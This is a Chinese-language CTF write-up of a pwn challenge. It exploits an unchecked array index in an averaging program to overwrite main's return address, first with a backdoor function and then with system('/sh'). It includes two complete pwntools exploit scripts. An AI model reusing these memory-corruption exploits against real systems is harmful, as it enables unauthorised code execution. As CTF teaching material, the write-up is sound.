静态分析
拿到附件,首先 checksec 一下
运行发现这是一个求算数平均数的小工具,界面看起来十分友好
拉到 IDA 里静态分析一下,在六十多行发现疑似可利用点
数组 v13 的索引 v5 是我们输入的,所以等于说我们控制了栈上任意位置
加上每个选项都可以无限循环,可以进行注入,但由于有保护机制,所以无法直接注入 payload
此时发现还有一个函数 hackhere()
所以思路就是控制 main() 函数返回到这个后门函数中(这样也不会触发 Canary )
偏移量计算
一直觉得偏移量计算操作的很迷,网上的 writeup 都是在尝试读入 v5 之后看哪个地址的值与输入的一样,
在实际中,由于汇编代码一直 mov,所以可能会有不止一个地址与输入的一样,所以干脆参考 IDA 栈空间的偏移
在 main() 函数 retn 处下一个断点,观察此时 $esp 附近哪个地址为输入的数,并调整偏移量正好落在 esp 上
有时候就是要这样用 GDB 慢慢去试,得出到达返回地址正确的偏移量为 0x84 ~ 0x84 + 4
把 v13[0x84] - v13[0x84 + 4] 赋值为 hackhere() 的地址 0x0804859B(注意小端存储,低位在前)
代码如下
from pwn import *
context.log_level = 'debug'
io = process('./source')
#io = remote('220.249.52.133', '41712')
input()
def write_addr(offset, val):
print (str(offset))
io.sendline('3')
io.recvuntil('which number to change:
')
io.sendline(str(offset))
io.recvuntil('new number:
')
io.sendline(str(val))
io.recvuntil('5. exit
')
io.recvuntil('How many numbers you have:
')
io.sendline('1')
io.recvuntil('Give me your numbers
')
io.sendline('1')
io.recvuntil("5. exit
")
#hack_here: 0x0804859B
write_addr(0x84, 0x9B)
write_addr(0x84+1, 0x85)
write_addr(0x84+2, 0x04)
write_addr(0x84+3, 0x08)
io.sendline('5')
io.interactive()
改良
据说在线容器中 bin 里面没有 bash,所以不能直接让程序返回到 hackhere() 函数内
改调用 system() 函数(0x08048450),参数选取字符串 '/bin/bash' 里面的 '/sh'(0x08048987)
代码如下
from pwn import *
context.log_level = 'debug'
io = process('./source')
#io = remote('220.249.52.133', '41712')
input()
def write_addr(offset, val):
print (str(offset))
io.sendline('3')
io.recvuntil('which number to change:
')
io.sendline(str(offset))
io.recvuntil('new number:
')
io.sendline(str(val))
io.recvuntil('5. exit
')
io.recvuntil('How many numbers you have:
')
io.sendline('1')
io.recvuntil('Give me your numbers
')
io.sendline('1')
io.recvuntil("5. exit
")
#system_addr: 0x08048450
write_addr(0x84, 0x50)
write_addr(0x84+1, 0x84)
write_addr(0x84+2, 0x04)
write_addr(0x84+3, 0x08)
#'sh'_addr: 0x08048987
write_addr(0x84+8, 0x87)
write_addr(0x84+8+1, 0x89)
write_addr(0x84+8+2, 0x04)
write_addr(0x84+8+3, 0x08)
io.sendline('5')
io.interactive()